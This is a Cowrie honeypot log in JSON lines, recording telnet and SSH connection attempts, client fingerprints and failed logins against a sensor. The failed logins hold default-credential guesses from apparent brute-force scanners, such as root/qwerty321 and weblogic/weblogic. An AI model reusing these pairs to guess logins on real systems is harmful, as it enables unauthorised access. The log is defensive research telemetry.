{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37166,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd20f9a9ad9a","protocol":"telnet","message":"New connection: 152.42.224.71:37166 (10.17.0.5:23) [session: cd20f9a9ad9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:16.132674Z"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:16.718076Z","src_ip":"31.40.204.166","session":"10cde57114d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37168,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d0961f5a9c7","protocol":"telnet","message":"New connection: 152.42.224.71:37168 (10.17.0.5:23) [session: 1d0961f5a9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:17.022019Z"}
{"eventid":"cowrie.session.closed","duration":120.00217056274414,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:17.703081Z","src_ip":"152.42.224.71","session":"5949bfa33b1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:17.914907Z","src_ip":"31.40.204.166","session":"10cde57114d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":117.95097088813782,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:22.552775Z","src_ip":"152.42.224.71","session":"a3394e42ad87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37172,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b86d81207d6","protocol":"telnet","message":"New connection: 152.42.224.71:37172 (10.17.0.5:23) [session: 7b86d81207d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:24.053350Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37176,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c8144412122","protocol":"telnet","message":"New connection: 152.42.224.71:37176 (10.17.0.5:23) [session: 5c8144412122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:24.417785Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37826,"dst_ip":"10.17.0.5","dst_port":23,"session":"303740ec2c6c","protocol":"telnet","message":"New connection: 152.42.224.71:37826 (10.17.0.5:23) [session: 303740ec2c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:26.698369Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40070,"dst_ip":"159.203.135.109","dst_port":22,"session":"daba94368df8","protocol":"ssh","message":"New connection: 31.40.204.166:40070 (159.203.135.109:22) [session: daba94368df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:27.081183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:27.109298Z","src_ip":"31.40.204.166","session":"daba94368df8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:27.211270Z","src_ip":"31.40.204.166","session":"daba94368df8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:28.101970Z","src_ip":"31.40.204.166","session":"daba94368df8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:29.293412Z","src_ip":"31.40.204.166","session":"daba94368df8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37838,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dd0cde32560","protocol":"telnet","message":"New connection: 152.42.224.71:37838 (10.17.0.5:23) [session: 1dd0cde32560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:29.403860Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37852,"dst_ip":"10.17.0.5","dst_port":23,"session":"0707f986a72f","protocol":"telnet","message":"New connection: 152.42.224.71:37852 (10.17.0.5:23) [session: 0707f986a72f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:29.572833Z"}
{"eventid":"cowrie.session.closed","duration":59.37327337265015,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:31.699131Z","src_ip":"152.42.224.71","session":"e29ecb94982f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37858,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6b90e79cb04","protocol":"telnet","message":"New connection: 152.42.224.71:37858 (10.17.0.5:23) [session: e6b90e79cb04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:31.915949Z"}
{"eventid":"cowrie.session.closed","duration":32.59204292297363,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:33.873346Z","src_ip":"152.42.224.71","session":"187836f02d59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.755434274673462,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:34.929068Z","src_ip":"152.42.224.71","session":"cd509a6b4b14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.947007656097412,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:36.200616Z","src_ip":"152.42.224.71","session":"55bcb022066e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40358,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0e9d0ef2500","protocol":"telnet","message":"New connection: 152.42.224.71:40358 (10.17.0.5:23) [session: b0e9d0ef2500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:36.347907Z"}
{"eventid":"cowrie.session.closed","duration":44.013256311416626,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:36.384246Z","src_ip":"152.42.224.71","session":"e059a01c3c2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40374,"dst_ip":"10.17.0.5","dst_port":23,"session":"80a24d7345d4","protocol":"telnet","message":"New connection: 152.42.224.71:40374 (10.17.0.5:23) [session: 80a24d7345d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:37.385677Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54970,"dst_ip":"159.203.135.109","dst_port":22,"session":"d46ac8989ad3","protocol":"ssh","message":"New connection: 31.40.204.166:54970 (159.203.135.109:22) [session: d46ac8989ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:39.181653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:39.211012Z","src_ip":"31.40.204.166","session":"d46ac8989ad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:39.317972Z","src_ip":"31.40.204.166","session":"d46ac8989ad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:39.980509Z","src_ip":"31.40.204.166","session":"d46ac8989ad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.60170364379883,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:41.335301Z","src_ip":"152.42.224.71","session":"9fea6c5e5352","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:41.398616Z","src_ip":"31.40.204.166","session":"d46ac8989ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40388,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b39d79ea486","protocol":"telnet","message":"New connection: 152.42.224.71:40388 (10.17.0.5:23) [session: 5b39d79ea486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:43.046100Z"}
{"eventid":"cowrie.session.closed","duration":30.550675630569458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:46.683209Z","src_ip":"152.42.224.71","session":"cd20f9a9ad9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49010,"dst_ip":"10.17.0.5","dst_port":23,"session":"945d37fb36f2","protocol":"telnet","message":"New connection: 152.42.224.71:49010 (10.17.0.5:23) [session: 945d37fb36f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:49.271196Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49012,"dst_ip":"10.17.0.5","dst_port":23,"session":"5007f693e44f","protocol":"telnet","message":"New connection: 152.42.224.71:49012 (10.17.0.5:23) [session: 5007f693e44f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:50.385837Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40562,"dst_ip":"159.203.135.109","dst_port":22,"session":"5060148dcff6","protocol":"ssh","message":"New connection: 31.40.204.166:40562 (159.203.135.109:22) [session: 5060148dcff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:51.189786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:51.226559Z","src_ip":"31.40.204.166","session":"5060148dcff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:51.322655Z","src_ip":"31.40.204.166","session":"5060148dcff6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yunwei","password":"yunwei","message":"login attempt [yunwei/yunwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:51.918521Z","src_ip":"31.40.204.166","session":"5060148dcff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:53.121138Z","src_ip":"31.40.204.166","session":"5060148dcff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49026,"dst_ip":"10.17.0.5","dst_port":23,"session":"45d8d8b1013f","protocol":"telnet","message":"New connection: 152.42.224.71:49026 (10.17.0.5:23) [session: 45d8d8b1013f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:53.687153Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48316,"dst_ip":"10.17.0.5","dst_port":23,"session":"edea81086a52","protocol":"telnet","message":"New connection: 152.42.224.71:48316 (10.17.0.5:23) [session: edea81086a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:56.840274Z"}
{"eventid":"cowrie.session.closed","duration":48.33247137069702,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:57.840272Z","src_ip":"152.42.224.71","session":"8da0ed133f41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.39158749580383,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:58.501900Z","src_ip":"152.42.224.71","session":"3fbc830186bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":55040,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff95f3ee5574","protocol":"ssh","message":"New connection: 103.98.149.87:55040 (159.203.135.109:22) [session: ff95f3ee5574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:59.352590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:59.358202Z","src_ip":"103.98.149.87","session":"ff95f3ee5574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:21:59.579442Z","src_ip":"103.98.149.87","session":"ff95f3ee5574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty321","message":"login attempt [root/qwerty321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:00.476309Z","src_ip":"103.98.149.87","session":"ff95f3ee5574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.429853200912476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:00.833576Z","src_ip":"152.42.224.71","session":"1dd0cde32560","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:01.712050Z","src_ip":"103.98.149.87","session":"ff95f3ee5574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48324,"dst_ip":"10.17.0.5","dst_port":23,"session":"138ef2075cc9","protocol":"telnet","message":"New connection: 152.42.224.71:48324 (10.17.0.5:23) [session: 138ef2075cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:02.727312Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47406,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ca341c76e14","protocol":"ssh","message":"New connection: 31.40.204.166:47406 (159.203.135.109:22) [session: 9ca341c76e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:03.282207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:03.389808Z","src_ip":"31.40.204.166","session":"9ca341c76e14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:03.603206Z","src_ip":"31.40.204.166","session":"9ca341c76e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"systemd","message":"login attempt [systemd/systemd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:04.086102Z","src_ip":"31.40.204.166","session":"9ca341c76e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.77447199821472,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:05.114485Z","src_ip":"152.42.224.71","session":"522707f8cf9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:05.209858Z","src_ip":"31.40.204.166","session":"9ca341c76e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.22405028343201,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:10.641716Z","src_ip":"152.42.224.71","session":"5c8144412122","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.178478717803955,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:11.876694Z","src_ip":"152.42.224.71","session":"303740ec2c6c","protocol":"telnet"}
